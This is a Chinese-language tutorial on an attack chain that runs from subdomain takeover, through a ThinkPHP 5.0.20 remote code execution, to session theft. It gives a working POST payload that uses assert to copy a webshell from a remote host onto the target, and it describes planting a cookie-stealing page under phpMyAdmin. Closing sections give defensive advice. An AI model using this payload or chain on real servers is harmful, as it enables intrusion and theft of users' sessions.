一次成功的子域名劫持
字数 1567 2025-08-27 12:33:49
子域名劫持与利用实战教学文档
1. 前言
子域名劫持(Domain Hijacking)是一种常见的安全漏洞,当组织遗弃某个子域名但未及时删除DNS记录时,攻击者可以注册该子域名指向的云服务,从而控制该子域名的内容。本教学文档将详细讲解如何发现、验证和利用子域名劫持漏洞。
2. 子域名劫持发现流程
2.1 子域名枚举
使用工具进行子域名挖掘:
- 推荐工具:farmscan_domain、Sublist3r、Amass、subfinder
- 命令示例:
farmscan_domain x.com
2.2 识别潜在劫持目标
检查子域名时注意以下特征:
- 返回"未找到站点"、"404 Not Found"等错误页面
- 显示云服务默认页面(如腾讯云、阿里云等)
- 使用nslookup检查DNS记录是否指向第三方云服务
3. 信息收集阶段
3.1 基础信息收集
-
IP反查:
- 使用
dig或nslookup查询子域名解析的IP - 检查IP归属:
whois <IP>或使用在线工具
- 使用
-
端口扫描:
- 使用nmap进行扫描:
nmap -sV -p- <IP> - 重点关注常见Web端口:80, 443, 8080, 8888等
- 使用nmap进行扫描:
3.2 Web服务探测
- 直接访问IP地址,查看返回内容
- 检查非常规端口(如888, 8888等)的Web服务
- 尝试常见管理后台路径:
/Admin/login/index.html/admin//wp-admin/等
4. 漏洞利用阶段
4.1 发现ThinkPHP RCE漏洞
-
识别ThinkPHP框架:
- 通过报错信息识别版本:
ThinkPHP V5.0.20 - 检查URL特征:
index.php?s=
- 通过报错信息识别版本:
-
利用ThinkPHP 5.0.20 RCE:
- 漏洞原理:通过
_method参数实现方法调用控制 - 利用Payload:
http://xxxx/index.php?s=captcha POST数据: _method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=lego&lego=copy("http://xxx/lego.txt","test.php") - 解释:通过构造恶意参数实现任意文件写入
- 漏洞原理:通过
4.2 获取Webshell
- 准备一个PHP Webshell文件(如lego.txt)
- 使用上述漏洞将远程文件写入目标服务器
- 使用蚁剑等工具连接Webshell
5. 横向移动与利用
5.1 环境分析
- 发现服务器运行宝塔面板(端口8888)
- 发现phpMyAdmin服务(端口888)
- 检查当前Webshell权限
5.2 利用phpMyAdmin
-
查找phpMyAdmin安装路径:
- 常见路径:
/www/server/phpmyadmin_xxxxxxxxx/ - 通过Webshell查找配置文件
- 常见路径:
-
创建恶意HTML文件:
- 在phpMyAdmin目录下创建XSS文件
- 示例:
test.html包含窃取Cookie的JavaScript代码
-
访问触发:
- 通过
子域名:888/phpmyadmin_xxxxxxxxx/test.html访问 - 浏览器会自动携带主域Cookie
- 通过
6. 防御建议
6.1 预防子域名劫持
- 定期审计DNS记录和子域名
- 弃用子域名时及时删除DNS记录
- 使用DNS监控服务检测劫持行为
6.2 服务器安全加固
- 及时更新框架和组件(如ThinkPHP)
- 限制管理面板(宝塔、phpMyAdmin)的访问IP
- 使用Web应用防火墙(WAF)防护常见攻击
6.3 安全开发实践
- 禁用框架的调试模式
- 限制危险函数的使用(如assert、system等)
- 实施最小权限原则
7. 总结
本案例展示了从子域名劫持到RCE漏洞利用的完整攻击链,关键点包括:
- 通过子域名枚举发现可劫持目标
- 全面的信息收集发现服务细节
- 利用ThinkPHP RCE漏洞获取初始立足点
- 通过环境分析找到phpMyAdmin实现横向移动
- 最终实现Cookie窃取的攻击目标
防御方应建立完善的资产管理系统,及时更新组件,并实施纵深防御策略。